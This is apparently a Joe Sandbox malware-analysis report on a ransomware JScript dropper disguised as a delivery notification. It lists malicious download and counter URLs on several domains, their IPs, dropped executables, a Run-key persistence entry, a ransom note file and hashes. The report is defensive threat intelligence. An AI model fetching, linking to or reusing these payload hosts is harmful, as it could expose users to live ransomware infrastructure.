https://radostdetym.ru/img/971_401.jpg	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F5F7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	false	Avira URL Cloud: malware	unknown
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3	wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://radostdetym.ru	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	false	Avira URL Cloud: malware	unknown
http://jpnovo.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDNUlNAtnXA&rnd=44322U	wscript.exe, 00000001.00000002.1550034045.0000018C8ECBF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ECB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546354967.0000018C8ECBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-	wscript.exe, 00000001.00000003.1541921743.0000018C8ECD0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1548078411.0000018C8ECF3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lacampagnetropicana.com/counter/?ad=1	wscript.exe, 00000001.00000003.1429188624.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fj	wscript.exe, 00000001.00000003.1541921743.0000018C8ECD0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1548078411.0000018C8ECF3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngT:	wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://jpnovo.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rW	wscript.exe, 00000001.00000003.1545214344.0000018C8CB40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1548841706.0000018C8CB68000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428532027.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429059260.0000018C8CB4C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546758700.0000018C8EAF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429140478.0000018C8CB5A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428532027.0000018C8EAEE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428698499.0000018C8EAE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549727441.0000018C8EAF9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1544320634.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545034667.0000018C8CB37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428567624.0000018C8EADF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546416145.0000018C8CB5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545265750.0000018C8CB58000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://radostdetym.ru/img/215_944.jpg	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	false	Avira URL Cloud: malware	unknown
https://schema.org	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	false		high
http://lacampagnetropicana.com/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001E.00000002.2545304562.000002615CD5E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514DC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F05158C000.00000004.00000020.00020000.00000000.sdmp, DECRYPT.txt.20.dr, a.txt.1.dr	true	Avira URL Cloud: malware	unknown
http://jpnovo.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-B	wscript.exe, 00000001.00000002.1550034045.0000018C8ECD0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8EC7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549805136.0000018C8EC7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ECA8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550034045.0000018C8ECBF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ECB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546354967.0000018C8ECD0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ECD0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549805136.0000018C8ECA8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546354967.0000018C8ECBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngT::	wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://cestasgabrasil.com.br/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN	wscript.exe, 00000001.00000003.1546990200.0000018C8EADF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547712253.0000018C8EADF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547113971.0000018C8EADF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001E.00000002.2545304562.000002615CD5E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514D1000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514DC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F051581000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F05158C000.00000004.00000020.00020000.00000000.sdmp, DECRYPT.txt.20.dr, a.txt.1.dr	true	Avira URL Cloud: malware	unknown
http://jpnovo.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1543693971.0000018C8E93B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549469495.0000018C8E944000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1543771273.0000018C8E943000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1543214677.0000018C8E92C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001E.00000002.2545304562.000002615CD5E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514DC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F05158C000.00000004.00000020.00020000.00000000.sdmp, DECRYPT.txt.20.dr, a.txt.1.dr	true	Avira URL Cloud: malware	unknown
http://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbO	wscript.exe, 00000001.00000003.1546354967.0000018C8ECBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://radostdetym.ru/img/987_908.jpg	wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F631000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550753313.0000018C8F659000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	false	Avira URL Cloud: malware	unknown
https://lacampagnetropicana.com/	wscript.exe, 00000001.00000003.1541921743.0000018C8EC7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549805136.0000018C8EC7F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
65.109.23.226	lacampagnetropicana.com	United States	11022	ALABANZA-BALTUS	true
188.114.97.3	radostdetym.ru	European Union	13335	CLOUDFLARENETUS	true
187.1.136.13	cestasgabrasil.com.br	Brazil	28299	IPV6InternetLtdaBR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559128
Start date and time:	2024-11-20 08:14:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Delivery_Notification_00000260791.doc.js
Detection:	MAL
Classification:	mal100.rans.evad.winJS@44/18@6/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Delivery_Notification_00000260791.doc.js

Simulations

Behavior and APIs

Time	Type	Description
09:51:54	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Crypted C:\Users\user~1\AppData\Local\Temp\a.txt
09:52:02	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Crypted C:\Users\user~1\AppData\Local\Temp\a.txt

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
65.109.23.226	Delivery_Notification_000275578.doc.js	Get hash	malicious	Unknown	Browse
188.114.97.3	ce.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/lxvbq
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25
	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.ssrnoremt-rise.sbs/3jsc/
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/zWkbOqX7/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	gusetup.exe	Get hash	malicious	Unknown	Browse	www.glarysoft.com/update/glary-utilities/pro/pro50/
	Online Interview Scheduling Form.lnk	Get hash	malicious	Ducktail	Browse	gmtagency.online/api/check
	View Pdf Doc_0b40e7d2137cd39647abbd9321b34da7.htm	Get hash	malicious	Unknown	Browse	f7xiz.nhgrt.top/Kbo731/96f7xiZ96?&&V5G=YW5kZXJzLmhhcnR1bmcuY2hyaXN0ZW5zZW5Acm9ja3dvb2wuY29t
	SWIFT 103 202414111523339800 111124.pdf.vbs	Get hash	malicious	Remcos	Browse	paste.ee/d/YU1NN
	TT copy.exe	Get hash	malicious	FormBook	Browse	www.lnnn.fun/u5w9/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lacampagnetropicana.com	Delivery_Notification_000275578.doc.js	Get hash	malicious	Unknown	Browse	65.109.23.226

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	MyInstaller_PDFGear.exe	Get hash	malicious	Unknown	Browse	104.26.1.29
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Towered.vbs	Get hash	malicious	FormBook, GuLoader	Browse	188.114.96.3
	ce.vbs	Get hash	malicious	Unknown	Browse	188.114.97.3
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	188.114.97.3
	e-dekont_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	104.21.91.199
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
ALABANZA-BALTUS	Delivery_Notification_000275578.doc.js	Get hash	malicious	Unknown	Browse	65.109.23.226
	Champaca-RFQ-1403.scr.exe	Get hash	malicious	PureLog Stealer	Browse	65.108.24.104
	sora.arm.elf	Get hash	malicious	Mirai	Browse	216.147.99.196
	QkBj8CevLU.exe	Get hash	malicious	Stealc, Vidar	Browse	65.109.243.177
	https://bartolomejdolez.samcart.com/products/59056894	Get hash	malicious	HTMLPhisher	Browse	65.109.12.52
	Setup.exe	Get hash	malicious	Unknown	Browse	64.176.203.93
	Setup.exe	Get hash	malicious	Unknown	Browse	64.176.203.93
	yakuza.x86.elf	Get hash	malicious	Unknown	Browse	208.56.246.184
	Setup.exe	Get hash	malicious	Unknown	Browse	64.176.203.93
	https://lifetraces.org/wp-cron.php	Get hash	malicious	Phisher	Browse	65.108.145.65
IPV6InternetLtdaBR	36.msi	Get hash	malicious	Numando	Browse	187.1.137.19
	33.msi	Get hash	malicious	Numando	Browse	187.1.137.19
	QbAwyjyAk3.lnk	Get hash	malicious	Numando	Browse	187.1.137.19
	btm4e0L3pw.lnk	Get hash	malicious	Numando	Browse	187.1.137.19
	26.msi	Get hash	malicious	Numando	Browse	191.6.210.254
	http://itapoanmed.com.br/	Get hash	malicious	Unknown	Browse	187.1.137.76
	https://s3.amazonaws.com/wil12iam/hermes.html	Get hash	malicious	Unknown	Browse	187.1.137.112
	file.exe	Get hash	malicious	SystemBC	Browse	191.6.220.99
	file.exe	Get hash	malicious	SystemBC	Browse	191.6.220.99
	Yb6ztdvQaB.elf	Get hash	malicious	Unknown	Browse	191.6.210.178

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	454
Entropy (8bit):	5.691819308762563
Encrypted:	false
SSDEEP:	6:pn0+Dy9rzgol6hEr6VX16hu9nPiMXvPmPPXLlVTfVeruW00OWM/iKR+kn/H4wjcR:J0+o8RJWWP5XvaXxPeG0Odb0q/Y4ma+
MD5:	070364E73C3FFE8194261090BF8C1315
SHA1:	6737B92359EF345D84B3C1E44AA6E0F448C76344
SHA-256:	7EF3A1E482153D5C19D2B0E09086778062FCDE708BC0EE0092A02E7E745AAC22
SHA-512:	D7FA5A96FA008522B90EB105AE16FA9469EA0D906EF579F9F8A8175EAF180C1D50CE1370BA19076D7E9D2504410464B68F9D798A21C5E201331DD2E813DE15F6
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><hea><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42">here</a>.</p>.<hr>.<address>Apache/2.4.41 (Ubuntu) Server at radostdetym.ru Port 80</address>.</body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\counter[2].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	454
Entropy (8bit):	5.697961563529044
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwzl6hEr6VX16hu9nPiMXvPmPPXLlVTfVeruW00OWMt2KR+kn/H4wjcXB:J0+oxVRJWWP5XvaXxPeG0O30q/Y4ma+
MD5:	CF23322BB5059BFF9F732D5B56C4A8C2
SHA1:	D1687317A63F3AED072D45E9F91C40D81C015274
SHA-256:	6F37D77A2E8A477B1E2A8A7C7ADBAA0B6EBA23F3ADA1FD7C734AC8A4FF9783C5
SHA-512:	C30E330C43AF3E342C99D6FDE212D9B0A26F620FED80180F8A80FA0939FA008959AF8658F16140AE38E50ED00E046ECF1914EB9362529150854E3B9959EAA654
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<ti>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=44">here</a>.</p>.<hr>.<address>Apache/2.4.41 (Ubuntu) Server at radostdetym.ru Port 80</address>.</body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\8NWLUJXY.htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1016), with CRLF line terminators
Category:	dropped
Size (bytes):	18010
Entropy (8bit):	5.259656876356195
Encrypted:	false
SSDEEP:	384:pUvJgSUcgUtbX2U4fOxC69CVv1azNzCH03:pUvJZztbFj9CVvYzNuU3
MD5:	F59EC1FAF8B01058E61D8B728C498D4C
SHA1:	41B166833F6810789D288BDB143F6FA061A9763A
SHA-256:	4DD55B4D774FBA7832B38208FF20024E80E0821567FEDB2D1DF65A07C34FC4AE
SHA-512:	624D080576D6E24713F16C5F29DE8024C65D6F3ACFB061D12D4A73D469B7B48D3A73D0636316C0AC849408CE30B7C9DB57D1EF0218B14092819DB4398C26C213
Malicious:	false
Preview:	..<!DOCTYPE html>..<html lang="ru-RU" prefix="og: https://ogp.me/ns#" itemscope itemtype="http://schema.org/WebPage">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="description" content="..... ...... .. ........ .....hg Casino Trix .. ...... ..... ...... .. ...... ...... .. .......! .. ............... . ...... ..... .. ....!">.. <meta property="og:title" content="..... ...... (Casino Trix) - ....... ..... . .......... .......">.. <meta property="og:description" content="..... ...... . ........... ..... ...... . ....... ....... ..... ...... .. ............... . .... .. ...... . ........ .... .....! .. ...... ...... .. .......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\9AYDDNVM.htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1016), with CRLF line terminators
Category:	dropped
Size (bytes):	18010
Entropy (8bit):	5.259656876356195
Encrypted:	false
SSDEEP:	384:pUvJgSUcgUtbX2U4fOxC69CVv1azNzCH03:pUvJZztbFj9CVvYzNuU3
MD5:	F59EC1FAF8B01058E61D8B728C498D4C
SHA1:	41B166833F6810789D288BDB143F6FA061A9763A
SHA-256:	4DD55B4D774FBA7832B38208FF20024E80E0821567FEDB2D1DF65A07C34FC4AE
SHA-512:	624D080576D6E24713F16C5F29DE8024C65D6F3ACFB061D12D4A73D469B7B48D3A73D0636316C0AC849408CE30B7C9DB57D1EF0218B14092819DB4398C26C213
Malicious:	false
Preview:	..<!DOCTYPE html>..<html lang="ru-RU" prefix="og: https://ogp.me/ns#" itemscope itemtype="http://schema.org/WebPage">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="description" content="..... ...... .. ........ .....hg Casino Trix .. ...... ..... ...... .. ...... ...... .. .......! .. ............... . ...... ..... .. ....!">.. <meta property="og:title" content="..... ...... (Casino Trix) - ....... ..... . .......... .......">.. <meta property="og:description" content="..... ...... . ........... ..... ...... . ....... ....... ..... ...... .. ............... . .... .. ...... . ........ .... .....! .. ...... ...... .. .......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\counter[1].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	387
Entropy (8bit):	5.742822785738127
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwol6hEr6VX16hu9nP3GCiHPPXLlVTfVeruW00OWMYQ+KqD:J0+ox0RJWWP3cXxPeG0OsT
MD5:	E6BC5FC5C1A572246A597E267D201E9A
SHA1:	5E806EFDA12ADE91B4C23097E32036F6DBA489E9
SHA-256:	7FCD987B933294D3120C6D0593B00F740D77DEE93DE2B83B70FF444FE04A59A7
